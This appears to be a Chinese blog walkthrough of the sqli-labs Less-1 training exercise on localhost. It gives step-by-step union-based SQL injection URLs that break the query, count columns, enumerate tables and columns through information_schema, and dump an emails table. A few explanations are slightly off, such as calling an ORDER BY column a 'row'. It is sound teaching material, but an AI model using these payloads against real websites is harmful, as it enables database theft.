yuanyuan学长强无敌!!!

(语句在前,图片居中,备注在后)

sql基础

http://localhost/sqlilabs/Less-1/?id=1

img

按照题目要求发送id=1

http://localhost/sqlilabs/Less-1/?id=1'

img

报错,说明存在sql注入。

为什么呢?看一下后端的语句。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

id=1时,代入代码中为:

$sql="SELECT * FROM users WHERE id='1' LIMIT 0,1";

而当id=1',传值后代码变为:

$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";

可以发现id='1''不符合语法,故而报错

http://localhost/sqlilabs/Less-1/?id=1'%23

img

%23是#,在sql语句中表示注释(--+也表示注释,其中+号只是占位符,可换为任意字符),此时传值后,代码变为

$sql="SELECT * FROM users WHERE id='1'#' LIMIT 0,1";

可以看到#' LIMIT 0,1";被注释掉了,而剩余的部分都是正确的语法

http://localhost/sqlilabs/Less-1/?id=1' order by 2%23

img

order by 2的意思是结果按照第2行排序

列的个数

http://localhost/sqlilabs/Less-1/?id=1' order by 3%23

img

http://localhost/sqlilabs/Less-1/?id=1' order by 4%23

img

order by 3回显正常,order by 4报错,说明有3列

库名

http://localhost/sqlilabs/Less-1/?id=1' union select 1,2,3%23

img

为什么回显1,2,3,因为第一句查找id=1的语句查到了,所以不显示union后语句的查询结果,因此要先把第一条语句设置为查不到结果

http://localhost/sqlilabs/Less-1/?id=0' union select 1,2,3%23

img

将id从1改为0,因为没有id=0的项,自然查找不到结果,所以显示union后面的语句的查询结果。

没有发现1,2,3中的1的输出,是因为后端代码中本来就是输出第二列和第三列,并没有输出第一列。

http://localhost/sqlilabs/Less-1/?id=0' union select 1,2,3%23

img

union是联合查询的意思,可连接多条sql语句。

为什么要union select 后面跟着三个数据,是因为union前后的查询的个数要相同(这也是我们前面要先拿到列数的原因)。前面我们已经知道了共三列,所以union select 后面要跟着三个数据

http://localhost/sqlilabs/Less-1/?id=0' union select 1,2,database()%23

img

1,2,是为了占位。

dababase()是一个函数,获取当前库的名称

表名

http://localhost/sqlilabs/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23

img

GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。

information_schema这这个数据库中保存了MySQL服务器所有数据库的信息。information_schema的表tables中的列table_schema记录了所有数据库的名字。information_schema.tables获取所有表名称。

列名

http://localhost/sqlilabs/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="emails"%23

img

报信息

http://localhost/sqlilabs/Less-1/?id=0' union select 1,2,group_concat(email_id) from emails%23

img

Last modification:September 9th, 2020 at 03:10 pm